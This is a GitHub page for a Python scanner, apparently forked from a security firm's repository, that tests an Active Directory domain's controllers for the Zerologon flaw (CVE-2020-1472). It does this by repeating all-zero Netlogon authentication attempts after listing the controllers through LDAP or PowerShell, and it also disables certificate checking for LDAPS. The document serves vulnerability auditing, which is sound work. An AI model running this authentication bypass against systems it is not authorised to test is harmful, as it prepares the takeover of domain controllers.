forked from SecuraBV/CVE-2020-1472
-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathzerologon_tester.py
253 lines (198 loc) · 8.25 KB
/
zerologon_tester.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
#!/usr/bin/env python3
from impacket.dcerpc.v5 import nrpc, epm
from impacket.dcerpc.v5 import transport
import sys, socket
import getpass
import subprocess
import os
import argparse
LDAP_PORT = 389
LDAPS_PORT = 636
MAX_ATTEMPTS = 2000 # False negative chance: 0.04%
POWERSHELL = 'powershell'
LDAP = 'ldap'
LDAPS = 'ldaps'
requirements = {
"cffi==1.14.2",
"click==7.1.2",
"cryptography==3.1",
"dnspython==2.0.0",
"Flask==1.1.2",
"future==0.18.2",
"impacket==0.9.21",
"itsdangerous==1.1.0",
"Jinja2==2.11.2",
"MarkupSafe==1.1.1",
"pyasn1==0.4.8",
"pycparser==2.20",
"pycryptodomex==3.9.8",
"pyOpenSSL==19.1.0",
"six==1.15.0",
"Werkzeug==1.0.1",
}
linux = ["ldap3==2.8", "ldapdomaindump==0.9.3", "python-ldap==3.1.0"]
def install(packages):
for package in packages:
subprocess.check_call([sys.executable, '-m', 'pip', 'install', package])
def get_domain_controllers_with_ldap(domain, use_ldaps):
import ldap
user = input("User:")
password = getpass.getpass()
if use_ldaps:
ldap.set_option(ldap.OPT_X_TLS_REQUIRE_CERT, ldap.OPT_X_TLS_NEVER)
l = ldap.initialize("ldaps://{}:{}".format(domain, LDAPS_PORT))
l.set_option(ldap.OPT_REFERRALS, 0)
l.set_option(ldap.OPT_PROTOCOL_VERSION, 3)
l.set_option(ldap.OPT_X_TLS_CACERTFILE, os.path.join('.', "cacert.pem"))
l.set_option(ldap.OPT_X_TLS, ldap.OPT_X_TLS_DEMAND)
l.set_option(ldap.OPT_X_TLS_DEMAND, True)
else:
l = ldap.initialize("ldap://{}:{}".format(domain, LDAP_PORT))
try:
l.bind_s(user, password)
except:
print("Couldn't bind with {} to {}".format(user, domain))
sys.exit(1)
# get all DCs in the domain
base = "OU=Domain Controllers, dc=" + ",dc=".join(domain.split("."))
scope = ldap.SCOPE_SUBTREE
attrs = ["name", "dNSHostName"]
# we retrieve all the DCs in the domain using this filter
filter = "(&(objectCategory=Computer)(userAccountControl:1.2.840.113556.1.4.803:=8192))"
res = l.search_s(base, scope, filter, attrs)
domain_controller_names = [(r[1]['name'][0].decode("utf-8"), r[1]['dNSHostName'][0].decode("utf-8")) for r in res]
return domain_controller_names
def get_domain_controllers_with_powershell():
# get DC names
dc_names = subprocess.check_output(
'Powershell.exe -Command "& {Import-Module ActiveDirectory; Get-Addomaincontroller -filter * | foreach { $_.Name}}"',
shell=True)
result = dc_names.decode('utf-8')
dc_names = result.strip().split('\r\n')
# get DCs HostName
dc_host_names = subprocess.check_output(
'Powershell.exe -Command "& {Import-Module ActiveDirectory; Get-Addomaincontroller -filter * | foreach { $_.HostName}}"',
shell=True)
result = dc_host_names.decode('utf-8')
dc_host_names = result.strip().split('\r\n')
return list(zip(dc_names, dc_host_names))
def get_domain_controllers_in_domain(domain, mode):
# in linux mode we get all the DCs in the domain by LDAP/LDAPS queries
if mode == LDAP:
domain_dcs_info = get_domain_controllers_with_ldap(domain, False)
elif mode == LDAPS:
domain_dcs_info = get_domain_controllers_with_ldap(domain, True)
# windows mode - we get the DCs by powershell commands
elif mode == POWERSHELL:
domain_dcs_info = get_domain_controllers_with_powershell()
else:
print("mode is not valid!")
sys.exit(1)
print("The following Domain Controllers were found in {}: {}".format(domain, domain_dcs_info))
return domain_dcs_info
def resolve_ip_from_dc_name(dc_name):
return socket.getaddrinfo(dc_name, 80)[0][-1][0]
def fail(msg):
print(msg, file=sys.stderr)
print('This might have been caused by invalid arguments or network issues.', file=sys.stderr)
sys.exit(2)
def try_zero_authenticate(dc_handle, dc_ip, target_computer,
channel=nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel):
# Connect to the DC's Netlogon service.
binding = epm.hept_map(dc_ip, nrpc.MSRPC_UUID_NRPC, protocol='ncacn_ip_tcp')
rpc_con = transport.DCERPCTransportFactory(binding).get_dce_rpc()
rpc_con.connect()
rpc_con.bind(nrpc.MSRPC_UUID_NRPC)
# Use an all-zero challenge and credential.
plaintext = b'\x00' * 8
ciphertext = b'\x00' * 8
# Standard flags observed from a Windows 10 client (including AES), with only the sign/seal flag disabled.
flags = 0x212fffff
# Send challenge and authentication request.
nrpc.hNetrServerReqChallenge(rpc_con, dc_handle + '\x00', target_computer + '\x00', plaintext)
try:
server_auth = nrpc.hNetrServerAuthenticate3(
rpc_con, dc_handle + '\x00', target_computer + '$\x00', channel, target_computer + '\x00', ciphertext, flags
)
# It worked!
assert server_auth['ErrorCode'] == 0
return rpc_con
except nrpc.DCERPCSessionError as ex:
# Failure should be due to a STATUS_ACCESS_DENIED error. Otherwise, the attack is probably not working.
if ex.get_error_code() == 0xc0000022:
return None
else:
fail("Unexpected error code from DC: {}.".format(ex.get_error_code()))
except BaseException as ex:
fail("Unexpected error: {}.".format(ex))
def perform_attack(dc_handle, dc_ip, target_computer, channel=nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel):
# Keep authenticating until succesfull. Expected average number of attempts needed: 256.
print('Performing authentication attempts...')
rpc_con = None
try:
for attempt in range(0, MAX_ATTEMPTS):
rpc_con = try_zero_authenticate(dc_handle, dc_ip, target_computer, channel)
if rpc_con == None:
print('=', end='', flush=True)
else:
break
if rpc_con:
print('\nSuccess! {} can be fully compromised by a Zerologon attack.'.format(target_computer))
return True
else:
print('\nAttack failed. Target is probably patched.')
return False
except Exception as e:
print("Couldn't perform attack on {}".format(target_computer))
return None
def get_mode(ldap, ldaps):
if (ldap is False) and (ldaps is False):
if sys.platform == 'win32':
return POWERSHELL
else:
return LDAPS
if (ldap is True) and (ldaps is False):
return LDAP
if (ldap is False) and (ldaps is True):
return LDAPS
print("please choose one mode!")
sys.exit(1)
if __name__ == '__main__':
parser = argparse.ArgumentParser()
parser.add_argument("domain")
parser.add_argument("--ldap", default=False, help="use LDAP", action="store_const", const=True)
parser.add_argument("--ldaps", default=False, help="use LDAPS", action="store_const", const=True)
parser.add_argument("--install_requirements", "-i", default=False,
help="install the requirements for the relevant OS", action="store_const", const=True)
args = parser.parse_args()
mode = get_mode(args.ldap, args.ldaps)
# install the requirements if needed
if args.install_requirements:
install(requirements)
if (sys.platform in ['linux', 'darwin']) or mode != POWERSHELL:
install(linux)
dcs_info = get_domain_controllers_in_domain(args.domain, mode)
if len(dcs_info) == 0:
print("Couldn't find any DC in the domain, please check the input")
sys.exit(1)
clean_dcs = []
compromised_dcs = []
# check for compromised DCs
for dc_name, dns_host_name in dcs_info:
try:
dc_ip = resolve_ip_from_dc_name(dns_host_name)
except:
print("Couldn't resolve ip for {}, {}".format(dc_name, dns_host_name))
continue
print("testing {}, {}".format(dc_name, dc_ip))
attack_status = perform_attack('\\\\' + dc_name, dc_ip, dc_name)
if attack_status is True:
compromised_dcs.append(dc_name)
elif attack_status is False:
clean_dcs.append(dc_name)
else:
continue
if len(compromised_dcs) > 0:
print("\nThe DCs {} are vulnerable to Zerologon attack".format(compromised_dcs))
if len(clean_dcs):
print("\nThe DCs {} are clean".format(clean_dcs))